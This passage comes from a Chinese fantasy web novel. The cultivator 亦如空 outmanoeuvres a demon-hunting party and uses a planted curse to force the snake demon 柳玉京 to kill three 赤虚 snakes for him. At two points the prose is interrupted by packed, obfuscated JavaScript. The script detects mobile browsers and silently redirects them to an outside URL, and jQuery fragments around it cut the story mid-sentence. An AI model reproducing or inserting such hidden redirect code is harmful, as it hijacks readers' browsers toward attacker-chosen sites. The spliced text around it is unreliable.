掌力一合,箭杆在他手中断成两截,箭尾直直坠地。 箭杆“喀”一声折断之时,反应最慢的翘枝与何云迢方才醒悟,意识到扑面而来的危险,忙朝着亦如空身后躲去。 亦如空一挑眉:“好快的箭。” 他低头看那雪亮的箭镞,见上头刻着一个“荣”字。 石老儿震怒,震声喊道:“是谁?!是哪个阴险小儿在乱放暗箭!” 纷乱石林间传来一串得意的笑声,四处回荡不止:“你们是哪里来的乌合之众,也是来抢这玄妖的吧?告诉你们,不想死的话,趁早打消这个念头!阵是我们布的,那玄妖赤虚,已是我们囊中之物。” “赤虚?”亦如空心念一动,慢声道,“你想必误会了,我们不过路过而已。” “路过?鬼扯!”那声音斥道,“这鬼地方怎会有人路过?你方才空手抓住箭矢,分明是个修士,能拦住小爷我这穿云一箭,还是个身手了得的修士,修士来到此处鬼石林,还能为了什么?” 说话之人故弄玄虚,声音在石林四面飘来荡去,回声阵阵,叫人心烦。 亦如空无心与此人玩这幼稚的把戏,摇了摇头:“阁下,与我说话,最好别藏头露尾。” 说着,他望向一个方向,那里,似乎只有一座高耸的石柱:“你若不现身,那我只能抓你出来,提前告知你,那滋味,不会太好受。” 那声音一声倒喝,大笑道:“好大的口气!你有多大的本事,在我面前放此厥词?” 声音四面乱窜,仿佛说话之人在四面八方飞快挪移,根本没有固定的位置,但在亦如空眼中,不过可笑的障眼法罢了。 “你不信?那便试试。” 亦如空倒握手中断箭,箭头汇聚灵力,朝着他目光所对方向,反手掷出。 那半截箭镞,竟比先前完好射来时气势更劲,去势更猛,徒手掷出,竟直接整个没入那石柱之中。 箭镞没入之处迸发出一阵金光,接着呈纹裂蔓延,一阵裂响后,石柱轰然碎作一地。 此石柱一破,障眼法阵破解,一个华服青年从崩碎的石柱顶上跌落在地。 那石柱甚高,他似乎摔断了腿,丢了弓箭,抱腿哀嚎起来。 石老儿见亦如空这反手一箭气势惊人,高兴道:“主人,你的灵力,似乎恢复不少!” 亦如空点点头。 他心知,自己方才那一招看着随性轻松,但实际上,现在他体内的灵力没有完好的元神做基,吓唬人或是驱使咒印尚可,若要打斗硬拼,恐怕落不着好。 周围又有几人不知从何处冒出来,纷纷飞身汇拢,除了那倒地的华服青年,一共还有五人,有男有女,将亦如空一行人围在当中。 一持剑女修站出来,横剑叱道:“你为何出手如此之狠!你知道你打伤的是谁吗?!” 亦如空看一眼那倒地哀嚎的人:“我不知道,我只知他方才对我出手更狠,那一箭若是射向旁人,必是命陨当场。” 石老儿上前一步:“主人,你且歇着,这几个小崽子,我来替你收拾就好。” 石老儿正要出手,那几人中忽又站出一个人,这人样貌普通,看着也无甚修为,他几步上前,对着亦如空抱拳深深一揖:“实在对不起,我们这位少爷性情顽劣,不慎得罪了高人,还请大人不记小人过,放过则个!” 其他几人还在横剑对峙,似乎都没想到这人会突然站出来道歉,皆有些傻眼。 那位受伤倒地的少爷更是震惊怒骂起来:“徐道尘?!你小子疯了?谁允许你替本少爷道歉了?!你们赶紧动手,给我杀了他,杀了他们!” 那徐道尘还是深深弯着腰,低声道:“荣大少爷,现在不是讲面子的时候,这几位本来只是路过,让他们自行离去便是,你刚才却非要占据阵眼耍威风,加以挑衅,如今害得阵眼被破,我若再不站出来,大家今日都得死在这里。” 那荣大少爷气得直抖:“好,好小子,徐道尘,你给本少爷记住,回去之后,我定会让你死得很难看!” 徐道尘目光一凛,不理会他,只向着亦如空拜伏道:“高人也看见了,我们这位荣大少爷嚣张跋扈,不讲道理,动则喊打喊杀,他之过失,与我们剩下的几人无关,还请高抬贵手。” 其余人都没想到这徐道尘会站出来说出这番话,一个个面面相觑,没了主意。 石老儿怒道:“险些害人性命,你以为道个歉就行了?” 亦如空目光扫过那几人,抬手一拦石老儿,道:“罢了,我们本就只是路过,还是赶路要紧,莫起纠纷了。” 他看向那怒火中烧的荣少爷,冷声道:“好自为之吧,你这等人,迟早死于非命。” 亦如空要带着人离去,那徐道尘却是又赶了几步上前,挡住他的去路。 亦如空眉头一锁:“你还想做什么?” 徐道尘仍是弯着腰,垂着脑袋,一副恭顺至极的模样:“高人有所不知,我们捕妖队在此布阵,是在等一法力无边的玄妖,如今阵眼核心被毁,等玄妖来了,我们这些人,恐怕还是难逃一死。” 其余人一听,似乎这才想起这茬,纷纷紧张起来,都看向徐道尘,倒是无人在意那先前明显是核心人物的荣大少爷了。 亦如空道:“捕妖队?是为民除害,驱逐邪祟的那种,还是抓妖换钱,求取富贵的那种?” 徐道尘噎了一下,道:“是,我们做的,不是什么为民除害的光荣事,修行一途本就艰险,该夺就夺,该抢就抢,这世间灵力微茫,能寻到就是机缘,不可放过……但,阁下刚才出手毁了我们精心布置已久的阵法,我等的猎物……” 亦如空无所谓道:“那又如何?他欲杀我在先,我反击之下毁你阵眼,算是扯平了,难不成,还要我来还尔等猎物?” 石老儿喊道:“臭小子,之前看你识相,说话也知道轻重,才不跟你计较,别不知好歹,赶紧让开,莫要挡路!” 徐道尘仍是不让:“阁下有所不知,除了被破的捕妖阵,这石林内外,还有一限制猎物出逃的锁天迷魂阵,若无我等告知出阵法门,几位就这样离去,恐怕无论如何,也走不出这鬼石林。” 他还是弯腰伏低,方才他只是在道歉,而现在,就是在威胁了。 亦如空眯起眼睛,看向这个样貌平平,但心性绝不简单的徐道尘:“你到底想要我做什么?” 徐道尘道:“捕妖阵破,我们需要一位修士为我们坐镇阵眼,重新结阵,在场众人,阁下灵能最盛,还望阁下出手相助,此事一了,我们自然立刻将锁天迷魂阵的出阵关键告知。” 那荣大少爷痛喘一阵,此刻又怒骂起来:“徐道尘!他刚刚重伤本少爷,你竟求他合作?!小心我让你连我荣府的门客都做不成,让你出去被人乱棍打死!” 徐道尘垂着眼皮道:“荣大少爷,眼下情况紧急,阵眼若不补上,我们所有人都会死,你明白吗?” 最后四个字几乎是从牙缝里切齿挤出的,说这话时,他看向那荣少爷的眼神里,已满是杀意。 那荣少爷一看就知秉性跋扈至极,此刻身陷囹圄,仍是叫骂不止。 徐道尘对着亦如空一礼,道了声“抱歉”,竟几步迈到荣少爷身边,对着他当胸兜头几个猛踹,最后一脚踢在额角,直接将那斥骂不止的荣少爷踢得晕死过去。 那持剑女修看傻了,颤声道:“徐道尘,你怎么敢……” 另一人害怕道:“完了,全完了,就算能离开这里活着回去,荣少爷肯定也不会放过我们几个,荣家会要了我全家的命的。” 与徐道尘一道那几人修行尚浅,个性也不沉稳,眼下各个阵脚大乱,似乎对那荣少爷和他背后的荣家极为畏惧。 徐道尘冷冷道:“怕什么,那就让他回不去,捕妖队向来生死一线,遇到危险丢了性命,本就是常事,他非要跟来凑热闹,就此死了,也正好给这位高人出出气。” 石老儿皱眉道:“你这小子有几分狠辣,但是我主人岂会受你威胁?你不告诉我们出阵之法,我们自己也定能找出来,我就不信,你这什么锁天迷魂阵,真能锁住我们。” 亦如空眼光流转,默默看完了这出戏,倒是没有马上断言拒绝。 他示意石老儿稍安,略微想了想,竟对徐道尘开口道:“我可以答应你,但是,我有一个条件。” 石老儿何云迢等都是一愣。 徐道尘忙道:“阁下请讲。” 亦如空问道:“你们准备捕捉的玄妖,是赤虚,对么?” 徐道尘道:“正是。” 亦如空道:“我要这赤虚蛇。” 徐道尘一愣:“这……” 亦如空睨着他:“不行?那就罢了,我若实在想要,也可以等那蛇妖杀死你们之后,再动手自取不迟。” 徐道尘似乎十分为难,挣扎片刻后,还是道:“不知阁下想要赤虚蛇,是为做何用,但我等要这赤虚妖丹,有极为紧要的用处,实在不能相让,阁下若有其他要求,我们一定满足。” 亦如空道:“好,不为难你,妖丹我可以不要,但尸体和毒液需归我。” 徐道尘一喜:“那真是再合适不过,多谢高人!” 亦如空道:“阵眼之处有我一人便可,与我同行的这几位,还请告知一个安全的位置,让他们得以躲避。” 徐道尘道:“没问题。” 石老儿连忙上前:“主人想要赤虚毒液,那老夫来替主人坐阵夺取。” 徐道尘立刻道:“不可,捕妖阵中,不得有妖,不得有身怀妖气者,所以……” 亦如空点头,对石老儿道:“你带着他们去避一避吧,我来。”< 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赤虚蛇拼命挣扎,阵网被妖力冲撞得一震。 同伴受困,另外两条赤虚也在远处显出身形,它们也不避逃,而是直冲阵中而来,似乎知道,合力之下,这阵法不是它们的对手。 女修喊道:“徐师兄!快想个办法,怎么办!” 徐道尘则呼唤亦如空:“情形出乎意料,眼下我们几人性命同系于此阵,高人您若有办法,还望不要保留!” 亦如空也知情况危急,三只玄妖,阵外的石老儿用不了搬山之术,恐怕也奈何不了。 若忘尘椎好用,尚可一搏,但自从那鳞片和部分怨念入体后,忘尘椎便就此沉寂,不再有灵光波动。 他与石老儿探讨过,这炼化后的灵器,和完全未被炼制过的原始灵力遇上,法器之中的灵力恐怕在被那股原始之力吸收引出,若要继续保持神器威能,需得注入器灵,重新炼化。 他凝眉一想,问道:“这阵法,维持一炷香,可否?” 徐道尘沉默片刻,道:“我等全力稳住,应该可以!” 亦如空再次为阵网注入一股灵力,将之加固,接着便收回手,掐诀念咒。 现在,他要催动一个此前埋在一只蛇妖身上的咒印。 亦如空眸光凛冽,默念道:“既然你经常猎杀赤虚,那想必很有一套办法……毁形咒,去!” 一道符文金光越阵而出,转瞬之间,便可催动那远在千里之外的蛇妖体内的咒印。 亦如空见咒印启动成功,不由勾唇一笑,阵网发光的图形映在他墨色的瞳孔之中,透出其中胜券在握的神采,亮得令人惊心。 他想起之前翘枝问他,究竟在那蛇妖柳玉京体内打入了什么咒印。 他心道,一炷香之后,便可见分晓。 千年蛇妖柳玉京,此时此刻正伪装成凡人豪绅,在神冲国都城放肆享受。 他在彤云楼包了场,姑娘们纷纷簇拥着他,一双双酥手在他身上摩挲游走。 他把着姑娘的手臂饮酒,拔下姑娘的发簪扎果子吃,谁逗得他开心,他都向其丢出一锭金子,出手阔绰如斯,老鸨自然恨不得全楼的姑娘都来照顾他一人。 现下,这间不大的厢房闺楼里,起码挤进了二十个姑娘,脂粉馨香浓得透不过气来。 “柳公子,来,喝酒。”一个姑娘正摸着柳玉京的胸膛,将酒杯递到他唇边,忽然感觉手下触感不对,她定睛一看,登时花容失色,放声大叫起来。 柳玉京一怔,低头一看,发现自己胸口裸露的皮肤上,竟冒出了片片蛇鳞。 不仅如此,那些蛇鳞下方,还接连冒出一个个水泡脓疮,将那些碧绿密布的鳞片顶得纷纷翘起。 转眼之间,不止胸口,他全身上下都变成了这副恶心的惨样,面具之外的那半张脸,也不例外。 “啊啊啊啊——” “妖怪啊!——” 尖叫声起,姑娘们被吓得四散,纷纷逃往门边,挤作一团。 柳玉京已顾不得管她们,他身上痛痒难耐,脓疱一个接一个出现,连人形都快要维持不住。 他赶忙纵身向上,冲破屋顶而出。 柳玉京一直飞上半空才停下,他悬在空中,一头雾水,尚不明白自己的身体出了什么问题,只觉痛痒之外,心口似乎有什么在隐隐发烫。 他咬牙,使用灵力一触,才发现那竟是个不知何时种下的咒印。 咒印被灵力一点,冒出一个个发光的文字来,在柳玉京眼前排列成一句话。 那句话写的是: 一炷香内,找到我,否则,死。 ——亦如空。 柳玉京飞上云端,长啸一声,怒气何止滔天。 “亦如空!我要你死!” 蛇妖切齿痛骂,化作原形,穿云拨雾,破空而去。 34.帮手 这一咒,是毁形咒,也是催命咒。 柳玉京忍受着咒印侵蚀,带着满腔怒火和杀意,闷头朝着九崆山方向飞速而去。 九崆山本是隐世之所,人迹罕至,今日却来了一群凡人,这群人虽做了乔装,但各个步态一致,脚步轻健,像是统一经受过训练的武士。 现下,这群人正单膝跪在九崆山中一处灵宝洞府门前。 领头之人向着洞口高声喊道:“神冲国乾沧城买主,求见九崆山潜云洞金风仙子,求购守金仙蛇百条!” 喊声过后,一阵沉默。 好几个时辰过去,众人皆有些跪不住,一人低声道:“已经喊了一百遍了,这仙子根本不在家吧?” 另一人满头大汗,“腾”一声坐倒在地,抱怨道:“腿都要跪断了……啧,明明就是个妖怪,起名叫什么仙子……还摆这等架子,让我们跪拜苦等……” 正埋怨着,忽听一阵叮铃脆声传来,洞口金光扰动,银铃轻响,一妖艳女子从洞府门内的封印阵法中袅袅而出。 她身形高挑婀娜,面目秾艳,着绯色纱衣,佩金环银铃,应正是那金风仙子。 金风仙子怀中捧花,五颜六色,艳丽无比,但那花却不知为何,似乎在蠕动,着眼仔细一看,原来并不是花,而是一捆花花绿绿的细蛇。 众人一瞧,皆头皮发麻,那埋怨之人见她目光扫过来,连忙重新跪好,不敢对视。 金风仙子抚摸着怀中的小蛇,悠悠道:“这世上的人和妖,有多少都爱自称为仙,恐怕就是因为成不了仙吧,叫一叫又不能少块肉,再说了,以老娘的美貌,不值得叫一声仙子吗?” 众人一愣,这金风仙子刚出来时还有几分仙气飘飘,此刻却叉腰叫嚷起来:“睁大眼睛看看,老娘不像天仙下凡?” 她动作一变,那些细蛇纷纷从她怀中掉落,窸窸窣窣,转眼便爬了满地。 毒蛇游走,众人瑟瑟发抖,冷汗直冒,不敢动弹。 领头那人道:“金风仙子息怒,这奴才不知礼数,冒犯了仙子,任凭仙子处罚!” 金风仙子抚摸着胸前的头发,道:“罢了,我是做生意的,何必与人结怨,说吧,买主的身份?” “家主是神冲国人士,住在神冲都城乾沧,是做……珠宝玉石生意的。” “说实话。” “这……仙子,在下句句属实。” “你再不说实话,我就不做这笔生意了。” 领头之人皱起眉头,似乎极为纠结。 金风仙子指指自己洞府门边的石碑,道:“这上头的文字你们可都看仔细了?第一,要称呼我为金风仙子,第二,单膝跪地等候,自报家门、目的,第三,买者姓名不得有假,身份来历,必须桩桩件件为真,否则,不卖。” 那头领犹豫再三,没有办法,只能说出真话:“我家主人,是神冲国奉神宗的妙原少君。” “妙原少君……”金风仙子默念这个名字,“这回你说的确实是实话……不过,守金蛇炼化需要时间,百条更是耗时长久,所需黄金宝石……” “仙子放心,您开的价,我们主人必定照单支付,分文不少,只是,主人要的,不是寻常只认黄金珠宝的守金蛇,主人需要它们辨别一样东西……” 他说着,从怀中掏出一方丝绸巾帕,递向金风仙子。 金风仙子一伸手,隔空将那巾帕吸入掌心,展开一看,里面只包着一片不大的玉屑,似乎是从某方玉玺上磕下的一角。 金风仙子柳眉一抬,双眼发亮,嘴上问道:“这是什么?” 那头领道:“是我家主人的传家玉玺。” 金风仙子收起巾帕,道:“好,这笔生意我做了,你们先留下定金,人都退到山外去等,待到我炼化完成,自然通知你等前来取货。” 头领没想到她不再追问更多,心下一喜,忙拜道:“多谢仙子!” 金风仙子点点头:“走吧,注意脚下,别踩了我的宝贝小蛇们。” 待到这群人皆已离去,金风仙子拈出那巾帕中的玉屑,对着夕照细细验看,凤眼中精光流转。 呵,什么传家玉玺,分明是,剥魂鬼玺。 金风仙子这厢做成了大生意,收下定金,美美回了洞府之中。 她刚进去不久,柳玉京正好赶到,落在洞府外,高声喊道:“金风娆!师姐!师姐救命!” 半晌无人回应,柳玉京暗骂:“这死妖婆,不知又去何处鬼混了……” “老娘家里今天还真是热闹。” 绝望之际,柳玉京终于听到一声娇嗔:“你这个死东西,竟然还会主动来找我,还知道叫我师姐,莫不是今天太阳从西边出来了?” 柳玉京松了一口气:“师姐,别啰嗦了,再不救命,咱们潜云洞可就要后继无人了。” 金风仙子金风娆这才扭着腰从洞口封印中走出,一出来,看柳玉京这般惨状,吓得花容失色,倒退两步,道:“你这死蛇,之前就够丑了,现在怎么搞成了这副样子?更丑了,丑得简直骇人!我看了就想吐!” 柳玉京咬牙,恨声道:“我被人算计了。” 金风娆诧异:“什么人能算计你?” 柳玉京黑着那张惨不忍睹的脸,沉声道:“先别问了,快先帮我破除咒印。” 金风娆见他的确情况紧急,也不再多说,上来驱动法术,想要融去那咒印,尝试两遍,却都不成功。 她竖起一对柳眉,道:“奇怪,打下这咒印的是什么人?我竟解不开。” 她捏诀使灵,金光一闪,咒印显现,那悬空的发光符印上留有一句话,还有一个位置感应。 金风娆看着那句话,还有那个落款的名字:“噫,打个咒印还留名,这个亦如空是何许人?有两下子,你何时又惹了个不好惹的主?” 柳玉京切齿恨道:“师姐既然解不了,那传送阵法,速速借我一用。” 金风娆一听,却转头掐起了手指甲,毫不着急道:“你还没说呢,这人是谁?什么时候惹上的?” 见她一副不说就不帮的架势,柳玉京只得答道:“是那个,被我装在棺材里的人……” “哦——” 他话还没说完,金风娆已反应过来,拖长声音道:“竟是那家伙……果然呐,你那点小癖好还是害了你,非要收集什么好看的皮囊,结果惹出事端了吧?我先前就说不对,那具肉身不是凡人,不是妖怪,神识丝毫探查不得,早让你毁了他,你非要留着,如今果然害了自己。” “我瞧他确实好看,不忍心毁了,却没想到,他竟还能活过来……”柳玉京愤懑道,“更没想到,他是这等,狡诈奸滑,心狠手辣之人!” “你这臭蛇,”金风娆面露嫌弃,毫不客气地骂道,“还不是怪你自己,世上哪有做妖做成你这样的,不想着精进妖术,只在乎一张脸皮。” “你难道不在乎?咱俩不是一样吗?” 金风娆翻个白眼,无语道:“行了,还有心思跟我争辩这些,那人如今捏住你命脉,你待如何?” “师姐,助我,待我找到他,解了咒印,我必杀之!” 金风娆手上慢悠悠掐诀布阵,口中戏谑道:“怎么,他的漂亮皮囊不要了?” 柳玉京道:“这个毁了我便去找下一个,天底下又不是只有那一张好脸。” 他嘴上一边说,眼神一边转,心里想的却是:什么皮囊,待我成功炼化那画骨神笔,还愁不能恢复样貌? 但画骨神笔之事,他不想告诉金风娆,对这个所谓的师姐,可用,但不可尽信,此等秘宝之事,绝不能告知于她。 金风娆布好传送阵法,扬声道:“记住这次,你欠老娘一个人情,下次得还。” 柳玉京迫不及待跳进阵中,在阵眼光芒中身形一消,传送离去。 金风娆用指尖点着下巴,默念道:“亦如空?你究竟是何许人,竟能将我这师弟戏弄拿捏至此……不过,他出了名的记仇狠心,惹了他,到最后,也不知你们谁会坑害死谁。” 她像是在猜想什么很有意思的事情,想着想着,笑了起来。 一炷香时间已快要过去。 亦如空看着那震颤不止的阵网,在三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641862|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条赤虚妖蛇的合力冲击之下,阵网四角都开始出现裂缝,显然崩碎在即。 “高人!您究竟想了何解围之法?一炷香时间就要到了,我等已撑不住了!” 亦如空默默在心中倒数:“我有一帮手,已召唤他一炷香内赶到,他猎杀这赤虚妖蛇,很有办法。” 其他人一听这话,心里没了底,什么帮手能赶来此地,就算真的能来,晚上一分,他们就都会死在这里! 女修焦急道:“阵就要破了,大家收力,四散逃命吧,还能搏个机会,否则,只会同此阵一起崩碎!” 亦如空仰头望天,夕阳渐退,晦暗渐起,他仰望天际,忽地,眼中映出一道破空而下的碧光。 “来了。”亦如空一展袍袖,起身道,“诸位,速速收阵撤开。” 那碧光从天而降,落进阵眼之中,其余人还未来得及看清,就见那绿光气势直冲亦如空而去。 光芒中显出一道人影,转眼已祭出几个杀招。 “一炷香!一炷香!一炷香!”柳玉京咆哮着,一边反复喊出这三个字,一边出招猛击。 亦如空施展身形腾空而起,避开锋芒,柳玉京几击不中,仅仅击碎亦如空甩在身后的石柱。 柳玉京毫不停留,继续追上,朝着亦如空出手猛攻,厉声怒叱道:“一炷香这么短的时间,我若不是成功借到传送阵法,怎么可能来得及?你是想要了我的命!” 柳玉京越打越狠,招招想要置亦如空于死地。 亦如空用灵力和身法格挡躲避,身影翩然,眸色沉沉,如此情形下,他的嗓音竟还是波澜不惊:“但最终你还是按时赶来了,总归没有辜负我对你的期待。” “你……你……”柳玉京气得说不出话来。 亦如空凛着面色,寒声命令道:“速速替我收了底下这几条赤虚妖蛇,否则你溃烂入骨,神仙难救。” “我先杀了你!”柳玉京面目狰狞,咆哮怒吼不止,再次攻上前去。 捕妖队众人皆看得傻眼。 他们收了阵网,此刻正一边飞身撤离逃出攻击范围,一边惊疑不止。 “来的是、是个玄妖?” “不,好像比这赤虚玄妖还要更高一阶!” “这大妖真是高人找来帮手的?怎么他来了,却只打那高人?” 亦如空飞身在各个石柱间挪移,尽力闪身避开攻势,但还是被妖力刮到几次,留下几道伤痕。 他凌空回过身来,朝柳玉京喝道:“你杀了我,咒印也不会消除,你确定要这样做?就此溃烂到底,变成一摊烂肉?!” 亦如空说着,再次挡住一道攻来的毒雾光刃,将右手二指竖在唇边,指节弯曲,诀印再起,再度催化那深埋于蛇妖体内的毁形咒印。 他当空悬立,目中无情,冷冷催咒的样子,落在柳玉京眼中,简直可怖可恨至极。 柳玉京握紧双拳,从来没有如此强烈地想要杀死一个人。 他看出对方似乎灵力不稳,大部分时间都只是在躲,而非反击,此刻若继续动手,一鼓作气,或许确实能杀了他。 但浑身上下惨不忍睹的皮肉,无处不在的痛痒,都让他不得不暂时打消这个念头。 “好!停!”柳玉京终于扛不住,大喝一声,“算你够狠,我认栽,息了咒印,我帮你猎杀这几条赤虚便是!” 亦如空薄唇一抿,将手一收:“很好,那就辛苦你了,如果可以,最好抓两条活的给我,若能做到,奖励你舒服一点。” 他说着,撤身朝后掠去,直接将战场甩手交给柳玉京。 柳玉京莫名被他逼做打手,何其屈辱,他长啸一声,化作原形,碧色巨蟒盘绕伸展,几个闪挪,摇头摆尾,转瞬便将残存的石林轰倒一片。 赤虚蛇似乎天然畏惧这碧色巨蟒,一见其原形,便露出逃窜之势。 然而此地外有锁天迷魂阵,内有这一腔怒火正愁无处发泄的柳玉京,自然是逃遁无门。 赤虚妖蛇只得开始求饶:“咱们都是蛇妖,先前也未曾得罪过你,何必苦苦相逼,不如一起对付那些凡人!” 35.记仇 赤虚蛇不停求饶。 柳玉京毫不留情:“你们是没有得罪过我,但是我心情不好,算你们倒霉,要怪就怪那个人吧,给我死!” 后头几条大蛇打得不可开交,亦如空不理,一路撤至场外,找到石老儿等人的藏身所在之地。 这是个天然的山体凹陷处,三面夹围,正好避开外力冲击。 外头山摇地动响成一片,石老儿几个正担心着亦如空的安危,见他终于飞身而来,皆松了一口气。 亦如空目光扫过,见徐道尘几人也已到此。 那荣大少爷也不知被谁带了过来,正躺在地上,仍昏迷不醒,一双脚腕弯出怪异的角度。 “师父身上添伤了。” 翘枝立在何云迢肩头,一眼便瞧见亦如空肩上胸口新添的伤痕,担心地脱口而出。 亦如空低头看一眼:“小伤,不碍事。” 徐道尘打量着他,眼中泛起怀疑之色:“高人似乎是修士,但同路者却是妖物为多,不知……” 亦如空看也不看他:“我们只是萍水相逢,意外合作一回,各取所需后,便各奔东西,我不探究你等要做什么,你是要杀人夺物还是如何,皆与我无关,你也不要想着探我来历。” 徐道尘连忙垂下眼:“是,高人放心,在下明白道理。” 说完,他退至其他几个捕妖队成员旁边,静坐调息理气,等待着外头那只蛇妖为他们取来妖丹宝物。 石老儿走到亦如空身边,他好奇外头那蛇妖的来历,也好奇亦如空是如何驱使其为自己所用。 不过他知道,现在不是问问题的好时机。 亦如空抚摸着腕上沉寂冰冷的忘尘椎。 如今,它只是死铁一块,但若是能炼化一条赤虚蛇进去,让之成为器灵,再利用其毒液可以刺激记忆的特点,为神器加持,想必可以令神器重展风采。 还有,那赤虚毒液,若是用来对自己的记忆加以冲击,或许能解开一些封锁,寻回些许往事,自己心中的疑惑,也有解开的可能。 如此等待不过半炷香时间,柳玉京便完成了亦如空交给他的任务。 碧色身影破开暮色,转瞬而至。 蛇妖铁青着那半张好不容易褪去蛇鳞脓疱的脸,朝着亦如空没好气地砸来一串东西。 正是三条缩小了身寸的赤虚蛇,两条死的,一条活的,都被当烂绳子一般,拧缠成一团。 “心情不爽,手重了,只有一条活的,爱要不要。” 亦如空眼也不眨接在手中,满意道:“做得不错,速度也很快,值得嘉奖。” 柳玉京冷笑:“呵呵,谢谢你,既然如此,那咒印,能不能赶紧给我解了?” 亦如空微笑道:“不行。” 柳玉京怒火中烧:“你还是人吗?你要言而无信,欺骗于我?” 亦如空一边捋开蛇结,剖取赤虚妖丹,一边道:“我何曾欺骗于你?我可从来没说过,事成之后要为你解开咒印,只不过,暂时不再催动其发作罢了。” 柳玉京恨得牙痒,眼中火苗几个跳动,突然转头盯住徐道尘等人。 他眼中邪光一晃,闪身挪移而上,将徐道尘挟持在手,朝着亦如空威胁道:“你解不解?不解,我就一个个杀光这里所有人!” 捕妖队众人惊呼,石老儿将何云迢翘枝护在身后,去看亦如空的反应。 亦如空头也不抬,仍是继续忙自己的。 他剖出两条死蛇的妖丹,又取出自己先前画的镇妖符布条,将还活着的那条用镇妖符绑个严严实实,预备打包带走。 他做起这一连串动作,手上细致又有条不紊,没有丝毫慌张。 完事后,还慢悠悠摸出那意外拾来的储物锦囊,想着要不要就此破解,也好用来存放这妖物。 徐道尘被扼住咽喉,呼吸困难,满面通红,只能用眼神求救。 但捕妖队其余人皆知这蛇妖厉害,自己哪里是他对手,都只往后退,无一人敢上前。 石老儿自是不在意,只等亦如空定夺。 只有何云迢看得恐惧又心焦,真怕那蛇妖大开杀戒,但他是在场唯一一个毫无修为的普通人,又能做什么,只能尽力降低存在感,缩在石老儿身后。 柳玉京掐紧了徐道尘的脖子,对着亦如空叫嚷:“你听见了吗,我在跟你说话!你再装聋,我就立刻拧下他的脑袋。” 亦如空也不看他,只轻轻一叹:“毁形咒的滋味,委实不好受,你何必非要自讨苦吃呢?” 话罢,他又抬起右手,看那样子,是又要掐诀起咒。 柳玉京简直快要疯了,一把扔开手上的凡人:“够了!停!” 徐道尘跌倒在地,捡回一条小命,咳喘不止。 亦如空住了手:“这就对了,乖乖听话即可,保你无事发生。” 柳玉京幽愁暗恨何以言说,怨愤道:“你为何要这般对我?” 亦如空终于看过来,嘴角微扬,目色冷淡:“明知故问,若不是你夺我东西在先,我又何苦难为你?” 果然还是因为那画骨神笔,柳玉京咬牙道:“如何就是你的?本就应该各凭本事,我既已先行得手,那就是我的。” 亦如空颔首道:“各凭本事,很对,那我也有让你乖乖把东西还来的本事,你受着便是。” 他俩在这里打机锋,旁边众人听得云里雾里,只唯恐他们一言不合动起手来,到时候恐怕又是天塌地陷的动静。 亦如空说完,不再搭理气到变形的柳玉京,只拿出方才剖出的其中一枚妖丹,丢给那刚刚喘过气来的徐道尘。 “我们事先商议好的妖丹,拿上,走吧。”亦如空道。 这时,捕妖队中另一人抢步上前,喊道:“三条赤虚,你只给我们一枚?” 亦如空道:“你们本就只准备好猎一条赤虚,多出的两条是意外,你们拿不下,理应归我。” “你!” 那人不识相,还待再争,徐道尘接了妖丹,从地上爬起来:“别争了,高人说得有道理,现在愿意给我们一枚妖丹,已经是君子守诺,大义之举了,我等就别再要求更多了。” 说完,他抱拳对着亦如空一礼,道:“多谢,妖丹既已到手,我们也该离开此地了,阁下放心,走之前,我们会解了那锁天迷魂阵,方便诸位离去,若是需要,阁下也可以与我们同行。” 亦如空拒绝:“不必了。” 徐道尘扯了扯嘴角,道:“好,那便告辞了。” 捕妖队众人就此离去,那昏迷的荣少爷也被带走,此地只剩下亦如空一行,加上一个满腔愤恨的蛇妖柳玉京。 柳玉京望着亦如空,幽怨道:“你可知一炷香之前,我有多快活吗?原本好端端躺在销金窟里,温香软玉在怀,佳人美酒做伴,现在却要在这鬼地方,面对你这面目可憎的家伙…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646417|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “面目可憎?”亦如空淡淡一笑,“犹记得两个月前,你还对着你面前这副皮囊垂涎不止,两月过去,难道就变了?” 他煞有介事地抬手,触了触自己脸上还未完全消去的伤口:“哦,难道多了一条伤痕,你就不喜了?” 石老儿在旁边看得心惊肉跳倒吸气,看来这蛇妖委实把魔君得罪得不浅,他眼下真是一副不气死对方不罢手的架势。 跟魔君作对,果然没有好下场。 遥远的记忆飘回脑海,那些虚弥之境中关于魔君的传说,还真是有所依据,魔君的确不好惹! 翘枝倒是相当畅快,只觉先前被蛇妖坑了一把的怨气,这会子都出了个干净,心中再次感慨,抱上师父的大腿,真是他修炼以来做的最正确的决定。 柳玉京闭了闭眼睛,似乎已彻底认输:“现在赤虚也帮你收了,若无其他需要,我走了。” “走?”亦如空眉毛一挑,“不到你走的时候,虽然你看着碍眼,但用起来很顺手,留下吧。” 柳玉京身形一晃:“是不是我交出神笔,你就能罢休了?” 亦如空道:“神笔你迟早会给我,不急,就算你现在给我,我也不会为你解咒。” “你……”柳玉京无力道,“你狠,你等着,我一定会加倍偿还。” 亦如空无所谓地一笑:“没事就早点歇下吧,我不喜欢走夜路,天要黑了,今晚就在这里过夜。” 说完,他转向石老儿,道:“往器物中炼化妖灵,你可有更多了解?” 石老儿道:“若是要炼进那神器之中,恐怕要先净化妖力才行,以免相冲。” 亦如空抬起手腕:“这宝物里……就炼条蛇吧,最起码,玄妖级别的蛇。” 柳玉京闻言一颤:“你这魔头,你还是人吗?难道还想将我……” “聒噪,”亦如空道,“我说是你了么?” 